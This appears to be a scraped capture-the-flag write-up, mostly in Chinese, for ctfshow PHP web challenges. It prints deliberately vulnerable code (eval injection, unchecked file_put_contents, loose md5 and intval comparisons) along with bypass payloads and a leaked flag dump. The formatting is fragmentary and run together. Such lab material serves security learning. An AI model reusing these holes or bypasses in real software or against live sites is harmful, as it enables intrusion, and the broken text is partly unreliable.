<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; }}
.
的过滤web96
highlight_file(__FILE__);if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }}
web97
include("flag.php");highlight_file(__FILE__);if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}?>
a=QNKCDZO&b=240610708
a[]=1&b[]=2
web98
Notice: Undefined index: flag in /var/www/html/index.php on line 15Notice: Undefined index: flag in /var/www/html/index.php on line 16Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17<?phpinclude("flag.php");$_GET?$_GET=&$_POST:'flag';$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//接下来两句好像没啥用,不过为了保险,还是直接还是把flag=xx$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>
include('flag.php');if($_GET){$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)}else{"flag";} if($_GET['flag']=='flag'){$_GET=&$_COOKIE;}else{'flag';
$_GET
=&$_POST
就相当于$_GET
指向了$_POST
的地址,如果$_GET
改变了$_POST
也要跟着变,同理,$_POST
变了$_GET
也会跟着变,所以他们两个的值是相等的web99
highlight_file(__FILE__);$allow = array();// 创建数组for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));// array_push() 函数向数组尾部插入一个或多个元素。}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']);// file_put_contents() 函数把一个字符串写入文件中。}?>
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数 描述 filename 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。 data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。 flags 可选。规定如何打开/写入文件。可能的值: FILE_USE_INCLUDE_PATH FILE_APPEND LOCK_EX context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。 web100
<?phphighlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }?>Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19
&& || = and or//从左往右,从高到低
is_numeric($v1)
的返回值赋值给$v0
,然后和后面的进行逻辑运算,并不会修改$v0
的值.;
;
string(7) "ctfshow"
object(ctfshow)#1 (3) { ["dalaoA"]=> NULL ["dalaoB"]=> NULL ["flag_is_746e30ce0x2dbbbf0x2d427c0x2d9dc90x2da6f6caf69f84"]=> NULL }Fatal error: Uncaught Error: Function name must be a string in /var/www/html/index.php(24) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(24): eval() #1 {main} thrown in /var/www/html/index.php(24) : eval()'d code on line 1
专题
<?phpinclude "flag.php";$year = $_GET['year'];if($year==2022 && $year+1!==2023){ echo $flag;}else{ highlight_file(__FILE__);}